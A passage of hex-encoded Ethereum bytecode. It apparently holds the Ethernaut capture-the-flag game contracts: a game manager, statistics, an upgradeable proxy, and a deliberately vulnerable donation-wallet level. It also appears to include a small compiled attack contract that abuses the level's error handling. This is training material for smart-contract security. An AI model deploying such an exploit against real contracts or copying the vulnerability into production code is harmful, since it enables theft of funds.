04810192909252909116906382e46b75906024015f604051808303815f87803b1580156100e4575f80fd5b505af11580156100f6573d5f803e3d5ffd5b50505050610119565b61042e8061038483390190565b610356806107b283390190565b61025e806101265f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c806311df9995146100435780632514363814610073578063521eb2731461008b575b5f80fd5b600154610056906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b61009d565b604051901515815260200161006a565b5f54610056906001600160a01b031681565b5f80546040517ff836afce0000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063f836afce906024015f604051808303815f87803b1580156100f8575f80fd5b505af1925050508015610109575060015b610222573d808015610136576040519150601f19603f3d011682016040523d82523d5f602084013e61013b565b606091505b50805160208083019190912060408051600481526024810190915291820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fad3a8b9e0000000000000000000000000000000000000000000000000000000017815291519091200361021e575f546040517fe40b86580000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b039091169063e40b8658906024015f604051808303815f87803b158015610201575f80fd5b505af1158015610213573d5f803e3d5ffd5b505050505f91505090565b5090565b5060019056fea2646970667358221220d5db4a23eced2c10c7be752e7449ddba9a1dbc761e6cf62f46f17779c80a89c564736f6c63430008180033608060405234801561000f575f80fd5b505f80546001600160a01b031916331790556104008061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100ac578063e40b8658146100be578063f836afce146100d1575f80fd5b806311df99951461006857806382e46b7514610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b6100aa6100a5366004610391565b6100e4565b005b5f5461007b906001600160a01b031681565b6100aa6100cc366004610391565b610148565b6100aa6100df366004610391565b61025b565b5f546001600160a01b0316331461010e57604051635fc483c560e01b815260040160405180910390fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461017257604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b81523060048201526001600160a01b039091169063a9059cbb90839083906327e235e390602401602060405180830381865afa1580156101c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e691906103b3565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044015b5f604051808303815f87803b158015610242575f80fd5b505af1158015610254573d5f803e3d5ffd5b5050505050565b5f546001600160a01b0316331461028557604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b8152306004820152600a916001600160a01b0316906327e235e390602401602060405180830381865afa1580156102cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102f091906103b3565b1015610328576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152600a60248301529091169063a9059cbb9060440161022b565b50565b6001600160a01b038116811461037a575f80fd5b5f602082840312156103a1575f80fd5b81356103ac8161037d565b9392505050565b5f602082840312156103c3575f80fd5b505191905056fea264697066735822122034a4a3cb0de740fd1e8ffe7d7b8af2cb6145f1e332ec60827493447c2818318d64736f6c63430008180033608060405234801561000f575f80fd5b5060405161035638038061035683398101604081905261002e9161004f565b6001600160a01b03165f908152602081905260409020620f4240905561007c565b5f6020828403121561005f575f80fd5b81516001600160a01b0381168114610075575f80fd5b9392505050565b6102cd806100895f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c806327e235e314610038578063a9059cbb14610069575b5f80fd5b6100576100463660046101f6565b5f6020819052908152604090205481565b60405190815260200160405180910390f35b61007c610077366004610216565b61007e565b005b335f9081526020819052604090205480821161018e57335f90815260208190526040812080548492906100b290849061026b565b909155505073ffffffffffffffffffffffffffffffffffffffff83165f90815260208190526040812080548492906100eb908490610284565b909155505073ffffffffffffffffffffffffffffffffffffffff83163b15610189576040517f98d078b40000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff8416906398d078b4906024015f604051808303815f87803b158015610172575f80fd5b505af1158015610184573d5f803e3d5ffd5b505050505b505050565b6040517fcf479181000000000000000000000000000000000000000000000000000000008152600481018290526024810183905260440160405180910390fd5b803573ffffffffffffffffffffffffffffffffffffffff811681146101f1575f80fd5b919050565b5f60208284031215610206575f80fd5b61020f826101ce565b9392505050565b5f8060408385031215610227575f80fd5b610230836101ce565b946020939093013593505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b8181038181111561027e5761027e61023e565b92915050565b8082018082111561027e5761027e61023e56fea2646970667358221220e3c803416f072a55bad7879542c57f540024c24154cfe1f657d46201c89def1264736f6c63430008180033a264697066735822122012a6faad48b12a2df1d0c12e6867cfce04832683ab0bbeab9c0a72deeddc5c6864736f6c6343000818003360a060405234801561000f575f80fd5b5060405161021638038061021683398101604081905261002e9161003f565b6001600160a01b031660805261006c565b5f6020828403121561004f575f80fd5b81516001600160a01b0381168114610065575f80fd5b9392505050565b6080516101936100835f395f609401526101935ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c806398d078b4146100385780639e5faafc1461004d575b5f80fd5b61004b610046366004610120565b610055565b005b61004b610092565b600a811161008f576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663251436386040518163ffffffff1660e01b81526004016020604051808303815f875af11580156100fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061008f9190610137565b5f60208284031215610130575f80fd5b5035919050565b5f60208284031215610147575f80fd5b81518015158114610156575f80fd5b939250505056fea26469706673582212200cdd5d3801aa9ff6349aeb419cef9e4af1867c3b7cc5bc19ba8ccdc242af58a164736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076